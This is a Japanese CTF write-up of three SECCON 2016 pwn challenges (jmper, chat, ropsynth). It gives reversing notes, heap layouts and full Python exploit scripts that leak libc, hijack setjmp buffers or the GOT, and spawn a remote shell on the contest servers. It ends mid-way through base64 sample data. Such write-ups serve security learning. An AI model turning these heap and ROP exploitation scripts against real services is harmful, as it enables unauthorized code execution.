読者です 読者をやめる 読者になる 読者になる

SECCON 2016 online のwriteup

チームTSGとして、TSGメンバーの人々と集まって例のごとく参加していました。2600点で28位でした。
自分が主に解いた問題のwriteupとかを載せます。
12時間かけてjmperを解いて、9時間かけてchatを解いて、終了直前にropsynthを通した感じです。

jmper

問題と解法

x64のnot_stripped。NXあり、RELROあり。

生徒を増やしたり名前やメモを登録できたりするサービス。
以下はリバーシング時のメモ。(読みにくい)

//"1. Add student.\n2. Name student.\n3. Write memo\n4. Show Name\n5. Show memo.\n6. Bye :)"

f(){
	for(;;){
		scanf("%d",var18); //q
		if(q==1){
			if([602028]>0x1d){ //stn;
				longjump([602038]);
			}
			var8 = malloc(0x30);
			[var8] = stnnum;
			[var8+0x28] = malloc(0x20); //name
			[mycalss+stdnum*8] = var8;
			[602028]++;
		}
		else if(q==2){
			scanf("%d",var1c); //ID
			if([var1c]>=stdnum || [var1c]<0)exit();
			var10 = [[mycalss+var1c*8]+0x28];
			int i=0; //var14
			for(;i<=0x20;i++){
				char c = getchar(); //var1d
				if(c==0xa)break;
				[var10] = c;
				var10++;
			}
		}
		else if(q==3){ //write memo
			scanf("%d",var1c); //ID
			if([var1c]>=stdnum || [var1c]<0)exit();
			var10 = [mycalss+var1c*8]+0x8;
			int i=0; //var14
			for(;i<=0x20;i++){
				char c = getchar(); //var1d
				if(c==0xa)break;
				[var10] = c;
				var10++;
			}
		}
		else if(q==4){ //show name
			scanf("%d",var1c); //ID
			if([var1c]>=stdnum || [var1c]<0)exit();
			printf("%s",[[mycalss+var1c*8]+0x28]);
		}
		else if(q==5){ //show memo
			scanf("%d",var1c); //ID
			if([var1c]>=stdnum || [var1c]<0)exit();
			printf("%s",[mycalss+var1c*8]+0x8);
		}
		
	}
}

int main(){
	[602030] = malloc(0xf0); //my_class
	[602038] = malloc(0xc8); //jump buf
	if(setjmp([602038])==0){
		//bye;
		return;
	}
	f();
	return;
}
	

各生徒について、だいたい

struct student{
  int index;
  char memo[0x20]; // +0x8
  char* name; // +0x28; malloc(0x20);
};

みたいな感じで構造体があって、memoを書いたりnameを書いたりできる。

で、nemoを書くところにoff-by-oneがあって、nameの指しているアドレスをリークしたり、nameの下1byteを上書きしたりできる。

で、試してみると、一人目のstudentについて、

アドレス
heap_top+0x1e0 index
heap_top+0x1e8 memo
... ...
heap_top+0x208 name heap_top+0x220

となっていると分かったので、1byte上書きして、

アドレス
heap_top+0x1e0 index
heap_top+0x1e8 memo
... ...
heap_top+0x208 name heap_top+0x208

としてやったあと、更にnameを変更することにより、nameが任意アドレスを指すようにできるので、そのときにnameを表示させることによりlibcのアドレスをリークさせたり、その後のnameの書き換えで任意の場所が書き換え可能となったりする。

ここでGOTを上書きできればおしまいなのだが残念ながら問屋が卸さず今回はRELROである。



ここで、今回はsetjmp,longjumpというのがあって、生徒を沢山作ろうとするとlongjumpが呼ばれるようになっている。

これはいわゆる大域脱出に使われる関数で、呼ぶと引数のバッファに従って環境が戻される(すなわちripかrspとかが書き換えられる!!)。

ここで、jumpのためのバッファはmallocで確保されているのでアドレスが分かり、このバッファをいじることによってripとrspをいじれるようになる。

jmperでROPガジェットを探すと pop rdi; ret; が見つかるので、文字列"bin/sh"へのアドレスとsystemのアドレスを積んでいるスタックっぽい生徒の名前を作り、rspとripをROPが動くようにうまいこと書き換えればよい。



 以下のlongjmpの逆アセンブルによれば、バッファにはrspとripがfs:0x30とxorされてシフトされた状態で入っており、うまいこと書き換えてやる必要があると分かるので、それをやる。

(ripはもともとmainのsetjmpの直後になるようになっているので、そこから逆算してfs:0x30が分かる)

以下、libcのlongjmpのobjdumpの結果。

   36ae0:	4c 8b 47 30          	mov    r8,QWORD PTR [rdi+0x30]
   36ae4:	4c 8b 4f 08          	mov    r9,QWORD PTR [rdi+0x8]
   36ae8:	48 8b 57 38          	mov    rdx,QWORD PTR [rdi+0x38]
   36aec:	49 c1 c8 11          	ror    r8,0x11
   36af0:	64 4c 33 04 25 30 00 	xor    r8,QWORD PTR fs:0x30
   36af7:	00 00 
   36af9:	49 c1 c9 11          	ror    r9,0x11
   36afd:	64 4c 33 0c 25 30 00 	xor    r9,QWORD PTR fs:0x30
   36b04:	00 00 
   36b06:	48 c1 ca 11          	ror    rdx,0x11
   36b0a:	64 48 33 14 25 30 00 	xor    rdx,QWORD PTR fs:0x30
   36b11:	00 00 
   36b13:	48 8b 1f             	mov    rbx,QWORD PTR [rdi]
   36b16:	4c 8b 67 10          	mov    r12,QWORD PTR [rdi+0x10]
   36b1a:	4c 8b 6f 18          	mov    r13,QWORD PTR [rdi+0x18]
   36b1e:	4c 8b 77 20          	mov    r14,QWORD PTR [rdi+0x20]
   36b22:	4c 8b 7f 28          	mov    r15,QWORD PTR [rdi+0x28]
   36b26:	89 f0                	mov    eax,esi
   36b28:	4c 89 c4             	mov    rsp,r8
   36b2b:	4c 89 cd             	mov    rbp,r9
   36b2e:	ff e2                	jmp    rdx


以下が自分のコード。

#coding: utf-8
from socket import *
import time

#sudo gdb -q -p `pidof -s execfile` -x gdbcmd
#socat TCP-L:10001,reuseaddr,fork EXEC:./execfile

#./../../tools/rp-lin-x86 -file=mylibc --rop=3 --unique > mygads.txt

isgaibu = False
isgaibu = True

sock = socket(AF_INET, SOCK_STREAM)
if isgaibu:
	sock.connect(("jmper.pwn.seccon.jp", 5656))
	raw_input('gdb$')
		
else:
	sock.connect(("localhost", 10001))
	raw_input('gdb$')


size_t = 0x8 #x64かx86か。sizeof(void*) の値で。

def addr2s(x):
	res = ""
	for i in xrange(size_t):
		res += chr(x % 256)
		x /= 256
	return res

def s2hex(s):
	return map(lambda c: hex(ord(c)),s)
	
def s2addr(s):
	res = 0
	for i in xrange(size_t):
		res *= 256
		res += ord(s[size_t-i-1])
	return res
	
def shell():
	while True:
		sock.send(raw_input() + '\n')
		print sock.recv(1024)

def getunt(c):
	res = ""
	while res=='' or res[-len(c):]!=c:
		res += sock.recv(1)
		#print res
	print res
	return res

def send(s):
	#print '[sending :: %s]' % s
	time.sleep(0.1)
	sock.send(s)

def getshellc(fn):
	res = ""
	with open(fn,'rb') as fp:
		res = fp.read()
	print map(ord,res)
	return res


class FSB:
	def check_diff(sl):
		#return ''.join(map(lambda p: '%0x' + chr(p+ord('A')) , xrange(15)))
		return '%8x,' *  15
		#0x25,0x30,0x78,0x2c なので、そのへんを探す。
	def init(sl,kome,bytm,paynum,yet):
		#たとえば、deadbeef,cafebabe,abcd9876,3025cafe, ... なら、
		#fsb.init(kome=3,bytm=2,paynum=,yet=) で。

		sl.kome = kome
		sl.head = '*' * bytm
		#%hnでやっていきます
		sl.yet = yet + paynum * size_t * (size_t / 2) + bytm
		print 'yet .. ',sl.yet
		print yet
		#payloadは、yetとpaynum分ずれて出る。
		sl.data = []
		sl.npn = 0
	def add(sl,addr,val): #addrをvalにする
		
		for i in xrange(size_t/2): #x86なら2,x64なら4
			sl.head += addr2s(addr + i*2)
			sl.data.append((val % 0x10000, '%%%d$hn' % (sl.npn + sl.kome + 2)))
			val /= 0x10000
			sl.npn += 1
		#短い順にソートすることにより、ペイロードを短くする
		
	def get(sl):
		res = sl.head
		ny = sl.yet
		data = sorted(sl.data)
		for ty,s in data:
			dy = ((ty-ny + 0x10000) % 0x10000)
			if dy>0:
				res += '%%%dx' % dy
			res += s
			ny = ty
		#print len(sl.head)
		#print s2hex(sl.head)
		return res


def name(x,s):
	send('2\n%d\n' % x) #name
	send(s)
	getunt('6. Bye :)')
	
def memo(x,s):
	send('3\n%d\n' % x) #name
	send(s)
	getunt('6. Bye :)')

def add():
	send('1\n') 
	getunt('6. Bye :)')


def leak_got():
	add()
	memo(1,'b' * 0x20 + chr(0x78))
	name(1,addr2s(0x601fa0) + '\n')
	send('4\n1\n')
	s = getunt('6. Bye :)')
	s = s[4:]
	s = s[:6]
	s = s + '\x00' * 2
	print 'addr ..',hex(s2addr(s))
	raw_input('leak')
	return s2addr(s)

getunt('6. Bye :)')
add()
memo(0,'a' * 0x20 + '\n')

send('5\n0\n')
s = getunt('6. Bye :)')
s = s[0x24:]
s = s[:4] + '\x00' * 4
print s2hex(s)
ad = s2addr(s)
print hex(ad)
beas = ad - 0x220
toa = beas + 0x140
print hex(beas)

puts_ad = leak_got()

memo(0,'b' * 0x20 + chr(0x08))
name(0,chr(toa % 256) + chr((toa / 256) % 256) + '\n')

send('4\n0\n')
s = getunt('6. Bye :)')
s = s[4:]
s = s[:16]
#print s2hex(s)
s1 = s[:8]
s2 = s[8:]
x = s2addr(s2)

def ror(x):
	res = (x>>0x11) | ((x<<(0x40-0x11)) & ((1<<64)-1))
	return res

def rol(x):
	res = ((x<<0x11) & ((1<<64)-1)) | (x>>(0x40-0x11))
	return res
	
x = ror(x)

cana = x ^ 0x400c31 
x ^= (0x400c31 ^ 0x00400cc3) #pop rdi; ret
x = rol(x)

y = s2addr(s1)
y = ror(y)
y = cana ^ (beas + 0xe28)
y = rol(y)


send('2\n0\n') #name
send(addr2s(y) + addr2s(x) + '\n')
getunt('6. Bye :)')


binsh = puts_ad - 0x6fd60 + 0x17c8c3
syste = puts_ad - 0x6fd60 + 0x046590 

for i in xrange(27):
	print 'i ......  %d' % i
	send('1\n') #name
	getunt('6. Bye :)')

memo(28,addr2s(binsh) + addr2s(syste) + '\n')

send('1\n') #name
time.sleep(1)
print sock.recv(1024)
shell()

#SECCON{3nj0y_my_jmp1n9_serv1ce}

大会中

配置アドレスの確認とかに時間をかけすぎていてずいぶん時間がかかってしまった。
また、途中までOne-gadget-RCEでどうにかしようとしていて、与えられたlibcで手元で動かしたかったのでいろいろ試行錯誤していたが結局だめだった。(LD_LIBRARY_PATHでやろうとしてもなぜかセグフォしてうまくいかなかった)(仮想環境のlibcを置き換えようとしたところ、もともとあったlibcをmvしてから問題libcをcpしようとしたら、cpするためのlibcが無くなってしまったのでcpやmvが動かなくなり、仮想環境を一つぶっ壊してしまった。)
こんなに時間がかかるとは思っていなかったので泥沼という感じ。

chat

問題と解法

x64のnot_stripped。NX,canaryあり。

twitter風のチャットサービス。(僕は大会中ずっとこの問題をツイッターと呼んでいた)

以下はリバーシング時のメモ(書きかけ)(読めない)

int getnline(char* s,int ls){
	fgets(s,ls);して、strchr(s,'\x10');して消す奴
	return strlen(s);
}

int main(){
	/*
	1 : Sign Up	2 : Sign In
	0 : Exit
	*/
		char* acc = NULL; //rbp-0xa8
		char* name; //rbp-0xa0
		for(;;){
			if(accnum !=0){
				servise(acc);
 				logout(acc);
 			}
 			int n=getint();
 			if(n0<=n<=2){
 				getnline(name,0x20);
 				if(n==0)break;
 				if(n==1)signup(name);
 				else login(accnum,name);
 			}
 			else invalid;
 		}
}


void servise(char* user){
	char* un = user; //rbp-0xa8
	/*
	1 : Show TimeLine	2 : Show DM	3 : Show UsersList
	4 : Send PublicMessage	5 : Send DirectMessage
	6 : Remove PublicMessage		7 : Change UserName
	0 : Sign Out
	*/
	get_tweet(0);
	get_tweet([rbp-0xa8]);
	list_users();
	else if(q==4){
		getnline(rbp-0x90,0x80);
		post_tweet([rbp-0xa8],0,rbp-0x90); //
	}
	else if(q==5){
		getnline(rbp-0x90,0x20);
		[rbp-0x98] = getuser(rbp-0x90);
		getnline(rbp-0x90,0x80);
		post_tweet([rbp-0xa8],[rbp-0x98],rbp-0x90); //
	}
	else if(q==6){
		remove_tweet([rbp-0xa8],getint()); //
	}
	else{
		getnline(rbp-0x90,0x20);
		change_name([rbp-0xa8],rbp-0x90); //
	}
}

int hash(char* s){
	if(s==0)return -1;
	var4 = tolower(s[0]);
	if(!isprint(var4))return -1;
	return var4;// の 0x60あたり
}

void get_user(char* s){
	varc = hash(s);
	if(varc!=0){
		var8 = [user_tbl+varc*8];
		for(;;){
			if(var8==0)return 0;
			if(strcmp([var8],s)==0)return var8;
			var8 = [var8+0x10];
		}
	}
	else return 0;
}

void login(char* acc,char* s){
	[acc] = get_user(s);
	if([acc]!=0){ //ok
		return 1;
	}
	else return 0;
}

struct tweet{ //長さ0x98
	long int num; //tweet_count  
	void* tweeter;  //0x8
	char data[0x80]; //0x10
	void* next; //0x90
};

struct man{
	int name
};


//先頭が対応するやつにつながれる。
//tweeterは、また、getuserで返ってくる奴。

void post_tweet(void* man,void* to,char* s){
	//man .. var18, to = var20, s = var28
	var8 = malloc(0x98);
	[var8+8] = man;
	linecpy(var8+10,s,0x80);
	if(to==0){
		tweet_count += 1; //0x6031c0
		[var8] = tweet_count;
		[var8+0x90] = tl;
		tl = var8;
	}
	else{
		[var8] = 0;
		[var8+0x90] = [to+0x8];
		[to+0x8] = var8;
	}
}

void linecpy(char* to,char* fr,int len){
	for(int i=0;i<len;i++){
		to[i]=fr[i];
		if(fr[i]==0)break;
		if(fr[i]=='\x0a')break;
	}
	return i;
}

//0x6030e0 に リストがある。

int remove_tweet(void* man,int n){
	//tlからみつけてfreeする。
	var10 = tl;
	while(var10!=NULL){
		if([var10]==n)break;
		var10 = [var10+0x90];
	}
	if(var10==NULL)return 0;
	if([var10+8]!=man)return -1;
	if([tl]==var10){
		tl = [var10+0x90];
		free(var10);
	}
	var8 = var10; //delete
	var10 = tl; //for
	while(var10!=0){
		if(var8==[var10+90])break;
		var10 = [var10+90];
	}
	[var10+0x90]; = [var8+90];
	free(var8);
	return 1;
}

int change_name(void* man,char* s){ //var18, var20
	varc = hash([man]);
	if(varc==0)return -1;
	if(getuser([man])!=0){
		puts("falied");
		return -1;
	}
	varc = hash([man]);
	if(var18 != [tbl+8*varc]){
		//
		if(varc = hash()>=0){
			[man+0x10] = varc;
		}
	}
}

int signup(char* s){ //var18
	if(get_user(s)!=0){
		printf(fail);
		return 0;
	}
	var8 = malloc(0x18);
	varc = hash(s);
	if(varc<0){
		free(var8);
		print(fail);
	}
	else{
		[var8] = strdup(s);
		[var8+8] = 0;
		//以降
	}
}

void remove_user(void* man){
	if(
}

中で使われてる構造体は、

struct tweet{ //長さ0x98
  int num; 
  void* tweeter;  // +0x8
  char data[0x80]; // +0x10
  void* next; // +0x90
};

struct man{ //長さ0x18
  char* name; 
  //以下略
};

みたいなの。

manのnameへのポインタは、

  getnline(s,0x20);
  taro->name = strdup(s);

として確保されているが、change_nameにおいて

  getnline(s,0x20);
  linecpy(taro->name,s,0x20);

みたいなことをしている。(linecpyはstrcpyみたいな独自関数)

strdupは文字列の長さ分だけmallocしたものを返すので、最初にnameを短くつけておいたあと、change_nameで0x20くらいの長さの名前に書き換えることにより、mallocにおいてオーバーフローを起こすことができる。

で、ここで壊しうるのは次のmallocチャンクのsize部分のあたりなので、そこからうまいことexploitしていく。

ツイートを消したり、名前を長さ0の文字列にすることで人を消せたりする仕様なので、ある程度自由にfreeもできる。

自分の名前でないとツイートを消せないので、結果的には、

1. 人『c』を作る
2. 人『a』を作る
3. 『a』でツイート[1]をする
4. 『c』でツイート[2]をする
5. 『a』でツイート[1]を消す
6. 『a』の名前を書き換えて、次のmallocヘッダのsizeを0x91にする
7. 人『b』を作る
8. 人『`BCA』を作る
9. 人『b』を消す
10. 『c』でツイート[3]をする
11. 『c』でツイート[3]を消す
11. 『c』でツイート[2]を消す

となった。

自分でも書いていてなにが起こっているのかよく分からないので解説する。

まず、5.までで、heapは以下のようになっている。(括弧内はサイズ)

+-------------+
|             |
|    人c      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人cの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|    人a      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人aの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|             |
|             |
|             |
| ツイート[1] |
| (free済み)  |
|   (0xa0)    |
|             |
|             |
|             |
+-------------+
|             |
|             |
|             |
| ツイート[2] |
|   (0xa0)    |
|             |
|             |
|             |
+-------------+

この時点で、ツイート[1]だったチャンクはunsorted_binsに繋がっているわけだが、この状態で

6. 『a』の名前を書き換えて、次のmallocヘッダのsizeを0x91にする

をすると、あたかもサイズ0x90のチャンクがunsorted_binsに繋がっているように見える。(0x1はprev_inuseビット)

で、ここで

7. 人『b』を作る
8. 人『`BCA』を作る

をすると、ツイート[1]だったチャンクが切り分けられて使われる。

このとき重要なのが、チャンクヘッダのサイズを小さくしていることにより、ツイート[2]の直前にあるprev_sizeが更新されない、ということである。(実際には、更新すべき場所の0x10前が更新されている)

この時点で、heapの状況は

+-------------+
|             |
|    人c      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人cの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|    人a      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人aの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|    人b      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人bの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|   人`BCA    |
|   (0x20)    |
|             |
+-------------+
|             |
|人`BCAの名前 |
|   (0x20)    |
|             |
+-------------+
|             |
|  >^^^^^^<   |
|  >  闇  <   |
|  >vvvvvv<   |
|   (0x20)    |
|             |
+-------------+
|             |
|             |
|             |
| ツイート[2] |
|   (0xa0)    |
|             |
|             |
|             |
+-------------+

となっている。

このあとにツイート[2]を消してunlinkしたいのだが、まだ人『b』が使用中なので、このままツイート[2]を消すと『corrupted double-linked list』エラーが出てプログラムが落ちてしまう。そこで、

9. 人『b』を消す

をすることによって、人『b』の部分をfreeした後、(人『b』はfastbinsのサイズなので、この時点ではまだ片方向リスト)

10. 『c』でツイート[3]をする
11. 『c』でツイート[3]を消す

をすることによって、malloc_consolidateが呼ばれ、人『b』がunsorted_linksに繋がれ、無事にunlinkできるようになる。よって、後は

11. 『c』でツイート[2]を消す

をすると、いっしょに上のサイズ0xa0の部分がunlinkされるので、最終的に、heapは以下のようになる。

+-------------+
|             |
|    人c      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人cの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|    人a      |
|   (0x20)    |
|             |
+-------------+
|             |
|  人aの名前  |
|   (0x20)    |
|             |
+-------------+
|             |  <---- main_arena.topがここを指している。
|             |
|             |
|             |
+-------------+
|             |
|  人bの名前  |
|   (0x20)    |
|             |
+-------------+
|             |
|   人`BCA    |
|   (0x20)    |
|             |
+-------------+
|             |
|人`BCAの名前 |
|   (0x20)    |
|             |
+-------------+

この11.まで行った状況でツイートをすると、人『`BCA』のチャンクと被ったチャンクがmallocで降ってくるので、
nameポインタがGOTを指すようにしたあと、人『`BCA』の名前を書き換えればripが取れる。



のだが、ここからが容易ではない。というのも、名前を書き換える際に、今までの名前と新しい名前の先頭の文字列がprintableでないとそもそも名前を書き換えてくれない、という仕様になっているので、そこを切り抜けてやる必要がある。(ここでものっそい苦労した)(与えられたlibcでないとこの部分のデバッグができないので、環境を作るのにもめちゃ苦労した)

最終的には、mallocのアドレスの下1byteがprintableで、なおかつmallocのgotの下にisprintがあることが分かったので、malloc越しにisprintのアドレスをOne-gadget-RCEのアドレス(yamaguchi氏に探してもらった)に飛ばすことによってシェルを取った。


以下が自分のコード。

#coding: utf-8
from socket import *
import time


#sudo gdb -q -p `pidof -s execfile` -x gdbcmd
#socat TCP-L:10001,reuseaddr,fork EXEC:./execfile

#./../../tools/rp-lin-x86 -file=mylibc --rop=3 --unique > mygads.txt


isgaibu = False
isgaibu = True

sock = socket(AF_INET, SOCK_STREAM)
if isgaibu:
	sock.connect(("chat.pwn.seccon.jp", 26895))
	raw_input('gdb$')
		
else:
	sock.connect(("localhost", 10001))
	raw_input('gdb$')


size_t = 0x8 #x64かx86か。sizeof(void*) の値で。

def addr2s(x):
	res = ""
	for i in xrange(size_t):
		res += chr(x % 256)
		x /= 256
	return res

def s2hex(s):
	return map(lambda c: hex(ord(c)),s)
	
def s2addr(s):
	res = 0
	for i in xrange(size_t):
		res *= 256
		res += ord(s[size_t-i-1])
	return res
	
def shell():
	while True:
		sock.send(raw_input() + '\n')
		print sock.recv(1024)

def getunt(c):
	res = ""
	while res=='' or res[-len(c):]!=c:
		res += sock.recv(1)
		#print res
	print res
	return res

def send(s):
	#print '[sending :: %s]' % s
	sock.send(s)

def getshellc(fn):
	res = ""
	with open(fn,'rb') as fp:
		res = fp.read()
	print map(ord,res)
	return res


class FSB:
	def check_diff(sl):
		#return ''.join(map(lambda p: '%0x' + chr(p+ord('A')) , xrange(15)))
		return '%8x,' *  15
		#0x25,0x30,0x78,0x2c なので、そのへんを探す。
	def init(sl,kome,bytm,paynum,yet):
		#たとえば、deadbeef,cafebabe,abcd9876,3025cafe, ... なら、
		#fsb.init(kome=3,bytm=2,paynum=,yet=) で。

		sl.kome = kome
		sl.head = '*' * bytm
		#%hnでやっていきます
		sl.yet = yet + paynum * size_t * (size_t / 2) + bytm
		print 'yet .. ',sl.yet
		print yet
		#payloadは、yetとpaynum分ずれて出る。
		sl.data = []
		sl.npn = 0
	def add(sl,addr,val): #addrをvalにする
		
		for i in xrange(size_t/2): #x86なら2,x64なら4
			sl.head += addr2s(addr + i*2)
			sl.data.append((val % 0x10000, '%%%d$hn' % (sl.npn + sl.kome + 2)))
			val /= 0x10000
			sl.npn += 1
		#短い順にソートすることにより、ペイロードを短くする
		
	def get(sl):
		res = sl.head
		ny = sl.yet
		data = sorted(sl.data)
		for ty,s in data:
			dy = ((ty-ny + 0x10000) % 0x10000)
			if dy>0:
				res += '%%%dx' % dy
			res += s
			ny = ty
		#print len(sl.head)
		#print s2hex(sl.head)
		return res

def make_man(s):
	getunt('menu > ')
	send('1\n')
	send(s+'\n')

def login(s):
	getunt('menu > ')
	send('2\n')
	send(s+'\n')

def make_tweet(s):
	getunt('menu >> ')
	send('4\n')
	send(s)

def rename(s):
	getunt('menu >> ')
	send('7\n')
	send(s)

def remove_tweet(n):
	getunt('menu >> ')
	send('6\n')
	send('%d\n' % n)

def logout():
	getunt('menu >> ')
	send('0\n')

make_man('c')
login('c')
logout()
make_man('a')
login('a')
make_tweet('aaaaaaaa' * 15 + '\x31\x00\x00\x00' + '\n') #1
logout()
login('c')
make_tweet('\x21' * 8 * 10 + '\n') #2
logout()
login('a')
remove_tweet(1)
rename('dddddddd' * 3 + '\x91\x00\x00\x00' + '\n')
logout()
make_man('b')
login('b')
logout()
make_man('`BCA')
login('`BCA')
logout()
login('b')
rename('\n')  #user_tbl
login('c')
time.sleep(1)
make_tweet('consolidate' + '\n') #3
remove_tweet(3)
remove_tweet(2)
logout()
login('`BCA')
make_tweet('cccccccc' * 6 + '\x70\x30\x60\x00' + '\n') #4 #ここで、名前を貼ってるアドレスが書き換わる
remove_tweet(4)
send('3\n')
getunt('Users List\n')
s = sock.recv(1024)
print s

s = s[2:]
s = s[:6]
print zip(range(0,len(s)),zip(s,s2hex(s)))

malloc_addr = s2addr(s + '\x00' * 2)
print hex(malloc_addr)
raw_input('leak')

oge_addr = malloc_addr - 0x082660 + 0x0e576c

send('7\n')
send('\x60' * 8 + addr2s(oge_addr) + '\n')

send('/bin/sh'+'\n')
shell()

大会中

リバーシングするべき場所が多くて大変だったので、出題直後のまだ元気な時点である程度リバーシングしていたのがよかった。

GOT任意書き換えに持ち込めたときには『やったか!?』となったがそこからが本当の苦しみだった。書き換えようとする関数の下1byteが悉くprintableでなかったり、printfとかそういう系も絶妙にいじれなかったりして非常につらかった。『問題バイナリが悪意を持って自分に刃向かってるとしか思えない』とか『部屋に入りきらない絨毯を敷きつめようとしている感じ』とか『俺はchatと刺し違えるぞ』みたいなことを叫びながらやっていた。非常につらかった。

また、今回はlibcの下1バイトが合わないとデバッグがつらいやつだったので手元に同じ環境を作ろうとしたのだがとても難航した。(yamaguchi氏に仮想環境を頼んだらjmperのときのと同様の事案をやらかしたりしていた) 結局、moratorium氏が奇跡的に同じバージョンのUbuntuを持っていたので、彼から借りてデバッグしたらわりとすぐ原因が見つかったので環境は大事という気持ちになった。(One-gadget-RCEのアドレスを1命令分後ろにしていた)

ropsmyth

問題と解法

BASE64エンコードされたROPガジェット群が降ってくるので、rspが先頭を指しているような状態でretすると

fd = open("secret", 0, 0);
len = read(fd, buf, 256);
write(1, buf, len);

をやるようなスタックを返す問題。

降ってくるガジェットを逆アセンブルして観察してみると、わりと規則性があって、どれも、

  • pop rsi;
  • push rax; pop rdi;
  • push rax; pop rdx;
  • pop rax;
  • syscall; push rax;

の5つのガジェットが存在しているみたい。
で、呼ぶべきシステムコールを見てみると、これらをうまいこと組み合わせる感じである、という作問者の意図が伝わってくる感じなので、それにしたがって組み合わせる。

途中に、

  35:	41 5b                	pop    r11
  37:	49 81 c3 25 97 79 77 	add    r11,0x77799725
  3e:	49 81 f3 0b 57 90 40 	xor    r11,0x4090570b
  45:	49 81 c3 71 bf 2b 18 	add    r11,0x182bbf71
  4c:	49 81 c3 aa 1b c4 1b 	add    r11,0x1bc41baa
  53:	49 81 eb b7 8c a1 15 	sub    r11,0x15a18cb7
  5a:	49 81 f3 a5 04 3b 2b 	xor    r11,0x2b3b04a5
  61:	49 81 f3 a0 c5 2b 1e 	xor    r11,0x1e2bc5a0
  68:	49 81 f3 9e dc f0 68 	xor    r11,0x68f0dc9e
  6f:	49 81 fb 3e 00 cb 21 	cmp    r11,0x21cb003e
  76:	74 06                	je     0x7e
  78:	f4                   	hlt    

みたいなのがあったりして、要するにうまいこと値を合わせてスタックに積んでおかないと途中で実行が止まってしまうという感じなので、そのへんもどうにかしてやる。(objdumpの解析時に逆から読んで逆算すればよい)

以下は解答スクリプト

#coding: utf-8
import os

samp = """
9PT09PT09PRQX0FeSYH24JvHBkmBxrN71F5JgfY7I6hRSYH+V1ynF3QD9PT0W0iB8/1q70lIgcPrcNRaSIHr99Q6Q0iB81H7dgRIgesNwodTSIH7NqusAXQF9PT09PRdSIH1B1uaOkiB7XPnL2BIgfVzrVVISIHFeqKpJEiB7TMlqQZIge057RVqSIH1MxatKEiB9Wq3lCZIgf0KHVdCdAT09PT0QV9JgcebW58DSYHv+vakC0mBx6OTE2BJgff5MrQ8SYH3O8tOSUmB/2l85010BvT09PT09EFfSYH3iNkWFUmB9+GOA3FJgcdgBpEfSYH3DvPbDEmB72/qC3RJgccYNqBUSYH3zUXWXkmB71tAAjJJgf/LsA53dAj09PT09PT09MP09PT0DwVZSIHBJUyZJEiB8cO/wltIgfmGKkoDdAP09PRBW0mB63VeKB9JgfPcPt9qSYHzGbGQdkmB84bEeGZJgeudM7I7SYHr9m2dW0mB62bm9jZJgftBABtodAP09PTD9FhBXEmB7EWwIDtJgcR2Fdt/SYH8MLoicXQF9PT09PRBXkmB9l4LuhdJgcYIVzcESYHGsq4hKkmB9msz2HBJgfYtJ/cVSYH249yLE0mBxqd1cHJJge7QQyFuSYH+Mf/8aXQE9PT09EFeSYH20puISEmBxjxh8WtJge6wiG1wSYHuWLE0c0mB9gQz60ZJgfZzOW0FSYH2NBduAkmB/mzef0h0BvT09PT09MP09PT09PRQWkFcSYH0+SgaB0mB9DslDglJgezz8edDSYH0PS3WWkmB9PEQV0JJgcSU+VRvSYHEJJBmNkmB7OLI4hZJgfySIEMbdAb09PT09PTD9PT0XllIgcHNYUlUSIHpgV06G0iBweVzoGFIgcHSwYg4SIHpv2/1IUiBwS+x4G5IgfFTnZcySIH5+PBaRnQC9PTD
"""

samp2 = """
9PT0UFpBXkmB9lO7iF1JgfYudSRaSYH2e18QV0mB7m+2pRFJgf5ezVkvdAL09EFfSYH3su6Dc0mB721jumJJgfe0s510SYHvedJCTUmBx3JT5DRJgf9ySRcidAL09EFbSYHDrGOOdUmB+1BkThx0CPT09PT09PT0WUiB8VG9ZlZIgfHnhsI1SIHBE4UNW0iB6XIjEC1IgemU4kdeSIHBk0LCF0iB6fbiMilIgfmuCfIRdAX09PT09MP09PT09PT09F5BXEmBxAtnZC5JgcR/ABQhSYH0ekphRkmBxO9qNF9JgcSpYfFQSYHsnMnoI0mBxL60nAJJgfzRBHE8dAX09PT09FlIgelJizJPSIHxn0X4AEiB+exnxl90BPT09PRBXkmBxgqlpWhJge75TxNjSYHGBsIDZkmB/mEp7Sh0CfT09PT09PT09EFdSYH1gETSc0mB7UYupiNJge3FJC9sSYH1qlh1JkmB9TUDIFlJgfXziU9ASYH1T5RURUmB/dsxXid0CPT09PT09PT0QVtJgeuiAjlQSYHDhuzkGUmB8z/GKlNJgfMiPKcCSYHzu+V4F0mB+/gIQAd0B/T09PT09PRZSIHxXgrEJkiB8e/hsiZIgcH1fh1GSIHBdLcWXUiBwdsoTx5Igem+vZQlSIHB1YHYfEiBwWUOiABIgfk2M8EwdAX09PT09EFbSYHD7+RwYEmB+73JIQ50B/T09PT09PRdSIHFpNk3A0iB/ZHgzUd0AvT0w/QPBVtIges01nRkSIHrzyWEY0iB80Wt6XVIgfN1FOM7SIHD+zoVf0iBw9BP6xJIgcPZW5IhSIHDybBFKUiB+1cMwkN0A/T09MP09PT09PT0WFtIgfMkHegwSIHzmmZaXEiB8yXM8llIgfvk201QdAX09PT09EFdSYHtoboHDUmB7QJtbm1JgfWuVTotSYH1nCyifkmB7cEVx1VJgf2Y8J8VdAL09FlIgcEolzY9SIHxVmYaI0iBwdOgiBBIgcEdyRxJSIH5uypVanQC9PRBW0mB8++GNCNJgfOLKhhPSYHDYXLcCkmBw1B5kAhJgevWLZtrSYHrF2pIBUmBw0Quv2VJgetOL6NWSYH7TuKDanQC9PRBXEmB9Nr9gxVJgfRvf4cVSYH0BmxPa0mB7C4+uhBJgfzqXBgQdAL09MP09PT09FBfQV5JgcaGDWc/SYHueZxqYUmBxi1uZABJgcYLFZ0iSYHGtaY8EUmB9lm5hA1Jge5UthRBSYH+rJIBdXQE9PT09EFbSYHrshP4M0mB89gvwipJgeujkQxySYH7k3eHNXQC9PRBXUmBxd8PW0ZJgcVUyccCSYH9dYUVAXQJ9PT09PT09PT0W0iBwxJkdnFIgesKE4o7SIH7W+3VEnQJ9PT09PT09PT